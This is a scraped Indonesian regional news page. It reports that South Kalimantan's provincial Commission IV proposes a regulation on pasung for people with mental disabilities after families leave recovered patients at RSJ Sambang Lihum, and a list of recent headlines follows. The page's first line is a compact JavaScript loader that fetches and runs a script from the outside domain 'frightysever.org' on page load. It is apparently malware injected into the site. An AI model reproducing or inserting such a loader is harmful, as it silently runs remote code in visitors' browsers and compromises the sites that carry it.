(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pasien RSJ Sambang Lihum Penuh, Komisi IV DPRD Kalsel Wacanakan Perda Pasung


BANJARMASIN, Dewan Perwakilan Rakyat Daerah (DPRD)  Provinsi Kalimantan Selatan telah melakukan analisis masalah di lapangan terkait Tugas Pokok dan Fungsi (Tupoksi) Komisi IV di sektor Kesehatan khususnya terkait Rumah Sakit Jiwa (RSJ) Sambang Lihum.  Menurut Anggota Komisi IV dari Fraksi Partai Kebangkitan Bangsa (PKB), Yazidie Fauzi, permasalahan yang masih banyak ditemui yakni masyarakat tidak mau mengambil keluarganya di RSJ Sambang Lihum walau keadaan sudah pulih.

“Ini membuat pemerintah daerah kewalahan,  khususnya dari sektor anggaran,” ungkapnya.

Berdasarkan masalah di atas, maka pihak Rumah Sakit Sambang Lihum meminta arahan kepada Kementerian Kesehatan, Kementerian Sosial serta Pemerintah Provinsi agar adanya sebuah regulasi atau berupa Perda agar nanti penangan pasca perawatan penyandang disabilitas atau “kejiwaan”  bisa terakomodir.

Ia mengungkapkan bahwa Kementerian Kesehatan dan Kementerian Sosial telah berkoordinasi dengan membuat surat edaran yang diajukan ke Pemerintah Provinsi dengan tembusan kepada Satuan Kerja Perangkat Dinas (SKPD) terkait.

Selain itu,  Komisi IV berinisiatif untuk mengusulkan Perda Pasung untuk penyandang disabilitas kejiwaan. “Komisi IV menganggap ini adalah hal yang penting, ” ujarnya

Ia mengungkapkan bahwa akan mencari referensi sekaligus mengadopsi isi perda pasung dari Provinsi Lain yang sudah mengimplentasikannya.

“Sudah ada 7 daerah yang memiliki perda pasung salah satunya adalah Jakarta, Jawa Barat, Sumatera Utara, ” ungkapnya.

Disinggung kemungkinan ada kasus pemasungan di Kalsel, menurut Yazidie sangat dimungkinkan tapi tidak terekspos. Sebabnya bila ada keluarga yang sakit jiwa itu dianggap aib bagi keluarga bersangkutan. Dia yakin, banyak kasus pasung di Kalsel tidak terekspose.

“Kita mencoba melindungi penyadang disabilitas kejiwaan itu, agar mereka juga dapat haknya untuk diberikan pelayanan serta hak kondisi mereka hingga bisa pulih. Untuk sanksinya dalam perda ini nanti kita coba pelajari dari beberapa provinsi,” pungkasnya. (robby)


Desy Arfianty

Recent Posts

Hattrick! Dirut PLN Darmawan Prasodjo Dinobatkan CEO of The Year 2024

KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More

11 menit ago

BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More

3 jam ago

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

15 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

16 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

16 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

23 jam ago

This website uses cookies.